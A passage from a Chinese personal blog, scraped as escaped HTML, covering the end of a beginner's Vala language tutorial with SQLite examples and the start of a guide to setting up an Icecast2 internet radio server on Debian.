data-lang=\"vala\"\u003evoid main() {\n // 双精度浮点数\n double a;\n // 类似 C 语言的 scanf,注意 out\n // 不是取地址符\n stdin.scanf(\u0026#34;%lf\u0026#34;,out a);\n // 类似 C 语言的 printf\n stdout.printf(\u0026#34;%.3f\u0026#34;,a);\n\n int b;\n stdin.scanf(\u0026#34;%d\u0026#34;,out b);\n stdout.printf(\u0026#34;%d\u0026#34;,b);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e输入字符串:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n stdout.printf(\u0026#34;Welcome, what\u0026#39;s your name?\u0026#34;);\n string a = stdin.read_line();\n stdout.printf(\u0026#34;OK, %s, main course is prepared for you.\u0026#34;,a);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"判断语句\"\u003e判断语句\u003c/h2\u003e\n\u003cp\u003eif-else 判断:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main() {\n stdout.printf(\u0026#34;Enter a year: \u0026#34;);\n int year;\n stdin.scanf(\u0026#34;%d\u0026#34;,out year);\n if ((year % 4 == 0 \u0026amp;\u0026amp; year % 100 != 0) || year % 400 == 0 ) {\n print(\u0026#34;Maybe Olympics if no war.\u0026#34;);\n } else {\n print(\u0026#34;No Olympics.\u0026#34;);\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eswtich 判断:\u003c/p\u003e\n\u003cp\u003e省略,很少用到。\u003c/p\u003e\n\u003ch2 id=\"循环语句\"\u003e循环语句\u003c/h2\u003e\n\u003cp\u003e计次数循环 for\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 金字塔输出\nvoid main() {\n int a;\n stdin.scanf(\u0026#34;%d\u0026#34;,out a);\n for (int i = 1; i \u0026lt;= a; i += 2){\n for (int j = 0; j \u0026lt; (a - i) / 2; ++j) {\n print(\u0026#34; \u0026#34;);\n }\n for (int j = 0; j \u0026lt; i; ++j) {\n print(\u0026#34;*\u0026#34;);\n }\n print(\u0026#34;\\n\u0026#34;);\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e计事件循环 while\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// Vala 引用库的方式\nusing Random;\n\nvoid main() {\n // 这里我用了随机数类\n int toGuess = Random.int_range (0, 50);\n while (true) {\n int a;\n stdout.printf(\u0026#34;Enter a number: \u0026#34;);\n stdin.scanf(\u0026#34;%d\u0026#34;, out a);\n if (a == toGuess) {\n break;\n }\n if (a \u0026lt; toGuess) {\n print(\u0026#34;Think larger.\\n\u0026#34;);\n } else {\n print(\u0026#34;Think smaller.\\n\u0026#34;);\n }\n }\n print(\u0026#34;Match\\n\u0026#34;);\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"面向对象特性\"\u003e面向对象特性\u003c/h2\u003e\n\u003cp\u003e先说一句,我面向对象课学的一塌糊涂,如果想了解更多,请看官方介绍:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Tutorial#Object_Oriented_Programming\" target=\"_blank\" rel=\"noopener\"\u003eProject/Vala/Tutorial#OOP\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意,Vala 基于 GLib,GLib 包含 GObject,GObject 仅支持单向继承。所以,跟 Java 一样,Vala 是单继承+接口。\u003c/p\u003e\n\u003cp\u003e从大家喜闻乐见的开始:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eclass Animal {\n // 类里面的变量\n // 和 Java 一样,有 private protected public\n protected string name;\n // 构造函数\n public Animal (string _name){\n name = _name;\n }\n // 析构函数,一般不用写\n // ~Animal();\n // 方法\n public void action () {\n print(\u0026#34;Punish you in the name of the moon, \u0026#34;);\n }\n}\n\nclass Cat : Animal{\n private bool cute;\n public Cat (string _name, bool cute) {\n // base() 调取父类构造函数,必须写\n base(_name);\n this.cute = cute;\n }\n // 重写方法需要加 \u0026#34;new\u0026#34;\n public new void action () {\n base.action ();\n print(cute ? \u0026#34;meow~\u0026#34; : \u0026#34;graw~\u0026#34;);\n }\n}\n\nvoid main() {\n Cat a = new Cat(\u0026#34;A\u0026#34;,true);\n a.action();\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这个是我从网上抄的一段代码:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 接口,也就是不能被实例化的虚类。\ninterface Printable {\n // abstract 要由继承的类实现\n public abstract string print ();\n\n // virtual 有默认的实现\n public virtual string pretty_print () {\n return \u0026#34;Please \u0026#34; + print ();\n }\n}\n\nclass NormalPrint: Object, Printable {\n // 实现上面的 abstract\n string print () {\n return \u0026#34;don\u0026#39;t forget about me\\n\u0026#34;;\n }\n}\n\nclass OverridePrint: Object, Printable {\n string print () {\n return \u0026#34;Mind the gap\\n\u0026#34;;\n }\n\n // 重载函数,覆盖 virtual 的默认实现\n public override string pretty_print () {\n return \u0026#34;Override\\n\u0026#34;;\n }\n}\n\nvoid main (string[] args) {\n var normal = new NormalPrint ();\n var overridden = new OverridePrint ();\n\n print (normal.pretty_print ());\n print (overridden.pretty_print ());\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"gee\"\u003eGee\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Libgee\" target=\"_blank\" rel=\"noopener\"\u003eGee\u003c/a\u003e 相当于 C++ 里面的 STL 。我对这个了解不多,先把官方的示例贴上来:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/GeeSamples\" target=\"_blank\" rel=\"noopener\"\u003eProjects/Vala/GeeSamples - GNOME Wiki!\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e实际上 GLib 已经实现了很多的数据结构,但我个人建议 Gee,功能比 Glib 本身有的更丰富,但是编程的时候需要添加 Gee 库。 \u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eusing Gee;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eGlib 中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eArray\u0026lt;类型\u0026gt;:变长数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eList\u0026lt;类型\u0026gt;:双向列表\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGee中,我有用过:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSet\u0026lt;类型\u0026gt;:无重复集合\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eHashMap\u0026lt;类型1,类型2\u0026gt;:哈希字典\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体用法请参阅相关文档和示例,链接给完了,我溜了~\u003c/p\u003e\n\u003ch2 id=\"迭代匿名函数\"\u003e迭代,匿名函数\u003c/h2\u003e\n\u003cp\u003e首先是匿名函数,很简单:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e(函数形参)=\u0026gt;{函数体语句}\n(函数形参)=\u0026gt;一条语句\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e一般用于函数作形参的时候,临时写一个简单的。比如下面那个情况。\u003c/p\u003e\n\u003cp\u003e还有迭代,有些预先定义好的数据结构都支持迭代,使用的时候使用 \u003ccode\u003eforeach\u003c/code\u003e 方法就好。比如说:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main () {\n List\u0026lt;int\u0026gt; a = new List\u0026lt;int\u0026gt;();\n a.append (1);\n a.append (2);\n a.append (3);\n a.append (4);\n a.append (5);\n // foreach 方法需要一个函数,这里面的就是匿名函数\n a.foreach((i)=\u0026gt;print(i.to_string ()));\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"异常处理和空值\"\u003e异常处理和空值\u003c/h2\u003e\n\u003cp\u003e先写出一个错误空间,说明这是啥大类的错误,里面可以细分。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003epublic errordomain DatabaseError {\n COULDNT_OPEN,\n EXECUTION_FAILED,\n PREPARATION_FAILED,\n BIND_FAILED,\n INVALID_GAME,\n NOT_FOUND,\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e写函数/方法的时候,可以加入 \u003ccode\u003ethrows\u003c/code\u003e 关键字,注明会抛出啥错误。里面需要抛出错误的时候,使用 \u003ccode\u003ethrow\u003c/code\u003e 语句抛出。下面是一个例子:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 说明这个函数会抛出 DatabaseError 错误\nprivate void open () throws DatabaseError {\n int sql_return = Sqlite.Database.open_v2 (NAME_OF_DB, out m_db);\n if (sql_return != Sqlite.OK) {\n // 这句话,先新建一个错误类,里面写的是具体内容,然后抛出\n throw new DatabaseError.COULDNT_OPEN (\u0026#34;Cannot create database: %d, %s\\n\u0026#34;, sql_return, m_db.errmsg ());\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要捕捉抛出的错误,请使用 try-catch-finally 语句:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003epublic void createDatabase () {\n try {\n open ();\n exec (CREATE_FLIGHT_TABLE_QUERY);\n exec (CREATE_HOTEL_TABLE_QUERY);\n exec (CREATE_BUS_TABLE_QUERY);\n exec (CREATE_CUSTOMER_TABLE_QUERY);\n exec (CREATE_RESERVATION_TABLE_QUERY);\n // 错误被捕捉到了\n } catch (DatabaseError e) {\n stderr.printf (\u0026#34;%s\\n\u0026#34;, e.message);\n }\n // 可以加写一个 finally,finally 总会被运行\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eVala 的变量可以设为空值,方法是加一个问号:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003evoid main () {\n // 这句话会报错\n int a = null;\n // 这句话不会报错\n int ? b = null;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e我个人认为,如果你不能确保方法确实能返回一个元素,可以使用这个。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eint ? a () {\n try {\n int result;\n // 我没在摸鱼\n return result; \n } catch (CatchFishBeFoundError e) {\n return null;\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e当然,可以不用这么麻烦,这只是一个例子。\u003c/p\u003e\n\u003ch2 id=\"sqlite-3-库\"\u003eSQLite 3 库\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.sqlite.org/index.html\" target=\"_blank\" rel=\"noopener\"\u003eSQLite\u003c/a\u003e 是一个库,实现了很完备的关系数据库。它将数据库存在一个文件里,使用的时候,调用 SQLite 库相应的函数,来对这个文件数据库进行基本操作。\u003c/p\u003e\n\u003cp\u003e这东西是一个 C 语言库。但 Vala 可以使用 C 库,它使用 vapi 文件来对应 C 的头文件。(实际上 Vala 也可以写 C 语言库,毕竟这玩意最后还是会变成 C 语言来编译。)\u003c/p\u003e\n\u003cp\u003e所以说,Vala 的 SQLite 库用起来应该和 C 语言的差不多。不过请注意,Vala 是面向对象的,而 SQLite 的库在引用到 Vala 的时候,做了面向对象的处理。\u003c/p\u003e\n\u003cp\u003e使用前,引用这个库:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eusing Sqlite;\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"数据库类\"\u003e数据库类\u003c/h3\u003e\n\u003cp\u003e如此定义一个数据库对象:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eSqlite.Database m_db;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e打开数据库:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eSqlite.Database.open_v2 (string path, out Sqlite.Database);\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行语句:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003em_db.exec (string sql_exec);\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"数据库声明类\"\u003e数据库声明类\u003c/h3\u003e\n\u003cp\u003e定义方式如下:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eSqlite.Statement add_flight;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e准备声明:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003epublic Sqlite.Statement prepare (string sql) throws DatabaseError {\n Sqlite.Statement statement;\n // 加不加 v2 都行,需要 sql 语句字符串,字符串长度,输出到一个 statement 类\n int sql_result = m_db.prepare_v2 (sql, sql.length, out statement);\n if (sql_result != Sqlite.OK) {\n throw new DatabaseError.PREPARATION_FAILED (\u0026#34;Cannot prepare satement for %s: %d, %s\\n\u0026#34;, sql, sql_result, m_db.errmsg ());\n }\n return statement;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e绑定声明:\u003c/p\u003e\n\u003cp\u003e绑定依然有一系列的函数,此处只看绑定字符串\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eprivate void bind_text (Sqlite.Statement statement, string stmt, string text) throws DatabaseError {\n // 这是寻找 statement 中 stmt 的位置\n int index = statement.bind_parameter_index (stmt);\n if (index \u0026lt;= 0) {\n throw new DatabaseError.BIND_FAILED (\u0026#34;Could not bind %s: %s not found in the statement %s.\\n\u0026#34;, text, stmt, statement.sql ());\n }\n // 绑定,index 是索引,text 是要绑定的字符串\n int sql_result = statement.bind_text (index, text);\n\n if (sql_result != Sqlite.OK) {\n statement.reset ();\n throw new DatabaseError.BIND_FAILED (\u0026#34;Could not bind %s: %d, %s\\n\u0026#34;, text, sql_result, m_db.errmsg ());\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行声明并清除绑定:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eprivate void step (Sqlite.Statement statement) throws DatabaseError {\n // 执行声明\n int sql_return = statement.step ();\n // 清除绑定\n statement.reset ();\n if (sql_return != Sqlite.DONE) {\n throw new DatabaseError.EXECUTION_FAILED (\u0026#34;Execute failed: %d, %s\\n\u0026#34;, sql_return, m_db.errmsg ());\n }\n return;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e循环取出返回值:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e// 摘抄自我的大作业代码\npublic HashMap\u0026lt;string, HashSet\u0026lt;string\u0026gt;\u0026gt; ? avaliable () {\n try {\n var Graph = new HashMap\u0026lt;string, HashSet\u0026lt;string\u0026gt;\u0026gt; ();\n // 创建一个声明,这个是一个查询语句\n Sqlite.Statement get_flight = this.prepare (\u0026#34;SELECT FromCity,ArivCity FROM FLIGHT;\u0026#34;);\n // 我前面说过返回值的事情,Sqlite.ROW\n while (get_flight.step () == Sqlite.ROW) {\n string from = get_flight.column_text (0);\n string to = get_flight.column_text (1);\n if (!Graph.has_key (from)) {\n Graph[from] = new HashSet\u0026lt;string\u0026gt; ();\n }\n Graph[from].add (to);\n }\n return Graph;\n } catch (DatabaseError e) {\n stdout.printf (e.message);\n return null;\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"如何速通一个编程语言\"\u003e如何速通一个编程语言\u003c/h2\u003e\n\u003cp\u003e我当时是这么学的 C 语言:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e函数\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e结构体\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e指针\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e前三条是说明这个语言大致的语法如何,因为编程思维的逻辑无非就那些:从哪里开始,需要那些材料,需要经过那些步骤,那些步骤得不断进行,这个步骤执行的条件是什么,这个步骤的结束条件是什么,最后的成果是如何的?逻辑搞明白了,接下来就是靠语言实现了。\u003c/p\u003e\n\u003cp\u003e接下来第四条,我认为是说明这个语言的性质。C 语言是面向过程的语言,所以主要是函数。而要是面向对象的话,教完函数之后,就是教你如何写一个类,如何搞继承之类的了。\u003c/p\u003e\n\u003cp\u003e剩下那三个,说明这个语言的数据结构。数据结构,有链表,栈,队列,字符串,树,图之类,还有集合,键值对字典这些常用的。这些东西给你了实现的工具,不过大多数语言已经实现了,比如 Java 。\u003c/p\u003e\n\u003cp\u003e最后,速通了语言,不代表所有。你得找到相对应的库。要是库很缺乏,或者根本没学的话,很有可能你啥都干不了。我暑假两天速通了 Javascript,然后我由于没学任何 Javascript 的库,比如 vue / react 啥的,我都不知道要用这个来干嘛:-P\u003c/p\u003e\n\u003cp\u003e最后,如有不完备或错误之处,敬请谅解。我还是水平不够啊:-(\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Bart%20On%20Radio%203x13.jpg\" alt=\"Featured image of post 如何在网上开自己的电台?\"/\u003e\u003cp\u003e实际上这个文章我老早就想写了,不过我中间基本上忘了这档子事。\u003c/p\u003e\n\u003cp\u003e先说明一下,这个电台是纯音乐电台,没有画面。要搞画面的话,建议了解 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e开一个电台,需要两个部分:电台推流软件,电台服务器,以及收听软件。就像传统的电台一样,得有个录音室,发射塔,然后是收音机。啊哈,是不是回到了各位童年,听着中国之声呢(不是)。\u003c/p\u003e\n\u003ch2 id=\"电台服务器icecast\"\u003e电台服务器~Icecast\u003c/h2\u003e\n\u003cp\u003e实际上我接触过两个开电台的软件,一个是上面提到的 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。不过这玩意更像是视频服务器,我就不想说了。\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.icecast.org\" target=\"_blank\" rel=\"noopener\"\u003eIcecast\u003c/a\u003e 是一个音乐电台服务器,也就是说,它接受电台推流软件传来的数据,经过处理(包装),然后向收听软件推送数据。这里我就不说啥 \u003ccode\u003em3u8\u003c/code\u003e,\u003ccode\u003eogg\u003c/code\u003e是啥了,毕竟我也不知道,而且又不影响咱用,对不对啊:-)\u003c/p\u003e\n\u003cp\u003e既然 Icecast 是一个服务器软件,那么\u003cdel\u003e它就得运行在服务器上\u003c/del\u003e实际上是个电脑就能运行,不过最好还是个服务器吧,比如说你在网上买到的阿里云服务器之类。不过如果你只是想在你的家里搞个自嗨广播,那电脑直接运行也好。前提是你能处理好路由器端口映射和电脑的防火墙,那就不是我的事情了2333\u003c/p\u003e\n\u003cp\u003e以下我用 Linux 系统举例子,更特殊的说,是 Debian 11 。其他的发行版,应该能举一反三吧…….\u003c/p\u003e\n\u003cp\u003e使用这个命令安装 icecast\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"c1\"\u003e# apt install icecast2\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装完了,就得配置,看一下我这个配置文件片段吧,你的配置文件应该在 \u003ccode\u003e/etc/icecast2/icecast.xml\u003c/code\u003e 下面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;icecast\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这俩选项主要是说明电台的地址(location)和管理员是谁,\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 感觉就是为了展示用的 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;location\u0026gt;\u003c/span\u003eSUPERBART\u0026#39;S LAND\u003cspan class=\"nt\"\u003e\u0026lt;/location\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;admin\u0026gt;\u003c/span\u003eicemaster@localhost\u003cspan class=\"nt\"\u003e\u0026lt;/admin\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 尤其对于小白用户,以下内容十分重要:\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 最好一开始*只*修改密码,然后重启 Icecast 。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 想要详细配置说明的话,请查阅文档。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 文档也在这里提供:http://icecast.org/docs/\n\u003c/span\u003e\u003cspan class=\"c\"\u003e (原来配置文件的一段)\n\u003c/span\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 请各位不要直接使用这个配置文件,看明白了修改自己电脑里的配置文件。--\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"nt\"\u003e\u0026lt;limits\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这段都是设置服务器的限制的,比如最多几个人听,最多开几个频道之类。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e 大多数选项我也不太懂,尽量别改吧。\n\u003c/span\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;clients\u0026gt;\u003c/span\u003e200\u003cspan class=\"nt\"\u003e\u0026lt;/clients\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;sources\u0026gt;\u003c/span\u003e5\u003cspan class=\"nt\"\u003e\u0026lt;/sources\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;queue-size\u0026gt;\u003c/span\u003e25600000\u003cspan class=\"nt\"\u003e\u0026lt;/queue-size\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;client-timeout\u0026gt;\u003c/span\u003e30\u003cspan class=\"nt\"\u003e\u0026lt;/client-timeout\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;header-timeout\u0026gt;\u003c/span\u003e15\u003cspan class=\"nt\"\u003e\u0026lt;/header-timeout\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;source-timeout\u0026gt;\u003c/span\u003e10\u003cspan class=\"nt\"\u003e\u0026lt;/source-timeout\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;burst-on-connect\u0026gt;\u003c/span\u003e1\u003cspan class=\"nt\"\u003e\u0026lt;/burst-on-connect\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;/limits\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里修改各种密码,是重点捏 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;authentication\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 推流密码,推流账户名 source --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;source-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/source-password\u0026gt;\u003c/span\u003e\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 中继密码,中继账户名 source --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;relay-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/relay-password\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 网页管理页面界面的账户和密码 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;admin-user\u0026gt;\u003c/span\u003eadmin\u003cspan class=\"nt\"\u003e\u0026lt;/admin-user\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;admin-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/admin-password\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;/authentication\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 设置该软件监听哪个端口,一般无需改动 --\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;listen-socket\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;port\u0026gt;\u003c/span\u003e8000\u003cspan class=\"nt\"\u003e\u0026lt;/port\u0026gt;\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026lt;/listen-socket\u0026gt;\u003c/span\u003e\n\n \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里我省略了好多选项,不要直接使用这个配置文件! --\u0026gt;\u003c/span\u003e\n\u003cspan class=\"nt\"\u003e\u0026lt;/icecast\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当你修改好自己的配置文件,使用这个命令启动 Icecast 软件。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ sudo service icecast2 start\n$ sudo systemctl \u003cspan class=\"nb\"\u003eenable\u003c/span\u003e icecast2 \u003cspan class=\"c1\"\u003e# 如果你想让这玩意开机自启动的话\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e现在你打开你的服务器网站的 8000 端口的话,你应该能看到这个。我这里是开电台了,所以有东西,应该是啥都没有才对。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"电台推流软件三例\"\u003e电台推流软件三例\u003c/h2\u003e\n\u003cp\u003e在 Icecast 网站上,他们\u003ca class=\"link\" href=\"https://icecast.org/apps/\" target=\"_blank\" rel=\"noopener\"\u003e贴了一堆软件\u003c/a\u003e。我这里写三个我用过的。更多的话,可以看看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Icecast\" target=\"_blank\" rel=\"noopener\"\u003eArch Linux Wiki 的这篇文章\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"obs-还能推流广播\"\u003eOBS 还能推流广播?\u003c/h3\u003e\n\u003cp\u003e你没看错,OBS 也能推流到 Icecast 服务器上,不过我觉得没有那么方便了。毕竟他只是个视频直播软件啊……\u003c/p\u003e\n\u003cp\u003e首先说点闲话,Icecast 能处理视频流,就是你们直播到 Bilibili 的那个。详情请看\u003ca class=\"link\" href=\"https://epir.at/2018/03/08/obs-icecast-streaming/\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。不过这玩意不是官方支持,所以我不会过多描述,但是我以下的配置文件是根据这玩意改的。\u003c/p\u003e\n\u003cp\u003e打开 OBS 的设置界面,调到 输出 -\u0026gt; 录像 ,类型选择 “自定义输出 FFMpeg” 上面。然后咱这么修改:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFFMpeg 输出类型改成\u0026#34;输出到 URL\u0026#34;,下面的 URL 改成 \u003ccode\u003eicecast://source:上面设置的推流密码@服务器ip或者域名:8000/stream\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e容器格式选择 